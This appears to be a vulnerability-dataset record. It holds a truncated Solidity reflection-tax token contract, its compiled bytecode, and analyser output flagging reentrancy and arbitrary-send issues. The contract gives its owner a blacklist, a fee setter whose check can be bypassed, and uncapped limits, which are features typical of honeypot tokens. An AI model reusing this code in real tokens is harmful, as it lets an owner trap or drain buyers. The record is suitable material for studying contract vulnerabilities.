uint256 private constant _tTotal = 1e13 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 4; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 4; uint256 private _taxFeeOnSell = 7; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5e10 * 10**9; uint256 public _maxWalletSize = 2e11 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5e10 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610573578063dd62ed3e14610593578063ea1644d5146105d9578063f2fde38b146105f957600080fd5b8063a2a957bb146104ee578063a9059cbb1461050e578063bfd792841461052e578063c3c8cd801461055e57600080fd5b80638f70ccf7116100d15780638f70ccf71461046d5780638f9a55c01461048d57806395d89b41146104a357806398a5c315146104ce57600080fd5b80637d1db4a5146103f75780637f2feddc1461040d5780638203f5fe1461043a5780638da5cb5b1461044f57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038d57806370a08231146103a2578063715018a6146103c257806374010ece146103d757600080fd5b8063313ce5671461031157806349bd5a5e1461032d5780636b9990531461034d5780636d8aa8f81461036d57600080fd5b80631694505e116101b65780631694505e1461027c57806318160ddd146102b457806323b872dd146102db5780632fd689e3146102fb57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024c57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b506102076102023660046119ff565b610619565b005b34801561021557600080fd5b506040805180820190915260088152674f4e4c5946414e5360c01b60208201525b6040516102439190611ac4565b60405180910390f35b34801561025857600080fd5b5061026c610267366004611b19565b6106b8565b6040519015158152602001610243565b34801561028857600080fd5b5060135461029c906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102c057600080fd5b5069021e19e0c9bab24000005b604051908152602001610243565b3480156102e757600080fd5b5061026c6102f6366004611b45565b6106cf565b34801561030757600080fd5b506102cd60175481565b34801561031d57600080fd5b5060405160098152602001610243565b34801561033957600080fd5b5060145461029c906001600160a01b031681565b34801561035957600080fd5b50610207610368366004611b86565b610738565b34801561037957600080fd5b50610207610388366004611bb3565b610783565b34801561039957600080fd5b506102076107cb565b3480156103ae57600080fd5b506102cd6103bd366004611b86565b6107f8565b3480156103ce57600080fd5b5061020761081a565b3480156103e357600080fd5b506102076103f2366004611bce565b61088e565b34801561040357600080fd5b506102cd60155481565b34801561041957600080fd5b506102cd610428366004611b86565b60116020526000908152604090205481565b34801561044657600080fd5b506102076108d2565b34801561045b57600080fd5b506000546001600160a01b031661029c565b34801561047957600080fd5b50610207610488366004611bb3565b610a8a565b34801561049957600080fd5b506102cd60165481565b3480156104af57600080fd5b5060408051808201909152600281526127a360f11b6020820152610236565b3480156104da57600080fd5b506102076104e9366004611bce565b610ae9565b3480156104fa57600080fd5b50610207610509366004611be7565b610b18565b34801561051a57600080fd5b5061026c610529366004611b19565b610b72565b34801561053a57600080fd5b5061026c610549366004611b86565b60106020526000908152604090205460ff1681565b34801561056a57600080fd5b50610207610b7f565b34801561057f57600080fd5b5061020761058e366004611c19565b610bb5565b34801561059f57600080fd5b506102cd6105ae366004611c9d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e557600080fd5b506102076105f4366004611bce565b610c56565b34801561060557600080fd5b50610207610614366004611b86565b610c85565b6000546001600160a01b0316331461064c5760405162461bcd60e51b815260040161064390611cd6565b60405180910390fd5b60005b81518110156106b45760016010600084848151811061067057610670611d0b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ac81611d37565b91505061064f565b5050565b60006106c5338484610d6f565b5060015b92915050565b60006106dc848484610e93565b61072e843361072985604051806060016040528060288152602001611e51602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112ee565b610d6f565b5060019392505050565b6000546001600160a01b031633146107625760405162461bcd60e51b815260040161064390611cd6565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107ad5760405162461bcd60e51b815260040161064390611cd6565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107eb57600080fd5b476107f581611328565b50565b6001600160a01b0381166000908152600260205260408120546106c990611362565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161064390611cd6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161064390611cd6565b6802b5e3af16b188000081116108cd57600080fd5b601555565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161064390611cd6565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610961573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109859190611d52565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190611d52565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a679190611d52565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab45760405162461bcd60e51b815260040161064390611cd6565b601454600160a01b900460ff1615610acb57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b135760405162461bcd60e51b815260040161064390611cd6565b601755565b6000546001600160a01b03163314610b425760405162461bcd60e51b815260040161064390611cd6565b60095482111580610b555750600b548111155b610b5e57600080fd5b600893909355600a91909155600955600b55565b60006106c5338484610e93565b6012546001600160a01b0316336001600160a01b031614610b9f57600080fd5b6000610baa306107f8565b90506107f581611390565b6000546001600160a01b03163314610bdf5760405162461bcd60e51b815260040161064390611cd6565b60005b82811015610c50578160056000868685818110610c0157610c01611d0b565b9050602002016020810190610c169190611b86565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4881611d37565b915050610be2565b50505050565b6000546001600160a01b03163314610c805760405162461bcd60e51b815260040161064390611cd6565b601655565b6000546001600160a01b03163314610caf5760405162461bcd60e51b815260040161064390611cd6565b6001600160a01b038116610d145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610643565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610643565b6001600160a01b038216610e325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610643565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610643565b6001600160a01b038216610f595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610643565b60008111610fbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610643565b6000546001600160a01b03848116911614801590610fe757506000546001600160a01b03838116911614155b156111e757601454600160a01b900460ff16611080576000546001600160a01b038481169116146110805760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610643565b60155481111561108f57600080fd5b6001600160a01b03831660009081526010602052604090205460ff161580156110d157506001600160a01b03821660009081526010602052604090205460ff16155b6110da57600080fd5b6014546001600160a01b0383811691161461111057601654816110fc846107f8565b6111069190611d6f565b1061111057600080fd5b600061111b306107f8565b6017546015549192508210159082106111345760155491505b80801561114b5750601454600160a81b900460ff16155b801561116557506014546001600160a01b03868116911614155b801561117a5750601454600160b01b900460ff165b801561119f57506001600160a01b03851660009081526005602052604090205460ff16155b80156111c457506001600160a01b03841660009081526005602052604090205460ff16155b156111e4576111d282611390565b4780156111e2576111e247611328565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061122957506001600160a01b03831660009081526005602052604090205460ff165b8061125b57506014546001600160a01b0385811691161480159061125b57506014546001600160a01b03848116911614155b15611268575060006112e2565b6014546001600160a01b03858116911614801561129357506013546001600160a01b03848116911614155b156112a557600854600c55600954600d555b6014546001600160a01b0384811691161480156112d057506013546001600160a01b03858116911614155b156112e257600a54600c55600b54600d555b610c508484848461150a565b600081848411156113125760405162461bcd60e51b81526004016106439190611ac4565b50600061131f8486611d87565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b4573d6000803e3d6000fd5b600060065482111561137357600080fd5b600061137d611538565b9050611389838261155b565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113d8576113d8611d0b565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611431573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114559190611d52565b8160018151811061146857611468611d0b565b6001600160a01b03928316602091820292909201015260135461148e9130911684610d6f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c7908590600090869030904290600401611d9e565b600060405180830381600087803b1580156114e157600080fd5b505af11580156114f5573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115175761151761159d565b6115228484846115cb565b80610c5057610c50600e54600c55600f54600d55565b60008060006115456116c2565b9092509050611554828261155b565b9250505090565b600061138983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611706565b600c541580156115ad5750600d54155b156115b457565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115dd87611734565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061160f9087611791565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461163e90866117d3565b6001600160a01b03891660009081526002602052604090205561166081611832565b61166a848361187c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116af91815260200190565b60405180910390a3505050505050505050565b600654600090819069021e19e0c9bab24000006116df828261155b565b8210156116fd5750506006549269021e19e0c9bab240000092509050565b90939092509050565b600081836117275760405162461bcd60e51b81526004016106439190611ac4565b50600061131f8486611e0f565b60008060008060008060008060006117518a600c54600d546118a0565b9250925092506000611761611538565b905060008060006117748e8787876118f5565b919e509c509a509598509396509194505050505091939550919395565b600061138983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ee565b6000806117e08385611d6f565b9050838110156113895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610643565b600061183c611538565b9050600061184a8383611945565b3060009081526002602052604090205490915061186790826117d3565b30600090815260026020526040902055505050565b6006546118899083611791565b60065560075461189990826117d3565b6007555050565b60008080806118ba60646118b48989611945565b9061155b565b905060006118cd60646118b48a89611945565b905060006118e5826118df8b86611791565b90611791565b9992985090965090945050505050565b60008080806119048886611945565b905060006119128887611945565b905060006119208888611945565b90506000611932826118df8686611791565b939b939a50919850919650505050505050565b600082611954575060006106c9565b60006119608385611e31565b90508261196d8583611e0f565b146113895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610643565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b80356119fa816119da565b919050565b60006020808385031215611a1257600080fd5b823567ffffffffffffffff80821115611a2a57600080fd5b818501915085601f830112611a3e57600080fd5b813581811115611a5057611a506119c4565b8060051b604051601f19603f83011681018181108582111715611a7557611a756119c4565b604052918252848201925083810185019188831115611a9357600080fd5b938501935b82851015611ab857611aa9856119ef565b84529385019392850192611a98565b98975050505050505050565b600060208083528351808285015260005b81811015611af157858101830151858201604001528201611ad5565b81811115611b03576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b2c57600080fd5b8235611b37816119da565b946020939093013593505050565b600080600060608486031215611b5a57600080fd5b8335611b65816119da565b92506020840135611b75816119da565b929592945050506040919091013590565b600060208284031215611b9857600080fd5b8135611389816119da565b803580151581146119fa57600080fd5b600060208284031215611bc557600080fd5b61138982611ba3565b600060208284031215611be057600080fd5b5035919050565b60008060008060808587031215611bfd57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c2e57600080fd5b833567ffffffffffffffff80821115611c4657600080fd5b818601915086601f830112611c5a57600080fd5b813581811115611c6957600080fd5b8760208260051b8501011115611c7e57600080fd5b602092830195509350611c949186019050611ba3565b90509250925092565b60008060408385031215611cb057600080fd5b8235611cbb816119da565b91506020830135611ccb816119da565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d4b57611d4b611d21565b5060010190565b600060208284031215611d6457600080fd5b8151611389816119da565b60008219821115611d8257611d82611d21565b500190565b600082821015611d9957611d99611d21565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dee5784516001600160a01b031683529383019391830191600101611dc9565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e2c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e4b57611e4b611d21565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220941af217f0374aa5aec6097f3a16ed391f9e8b80ce7b3e93176cf1d32464549b64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,399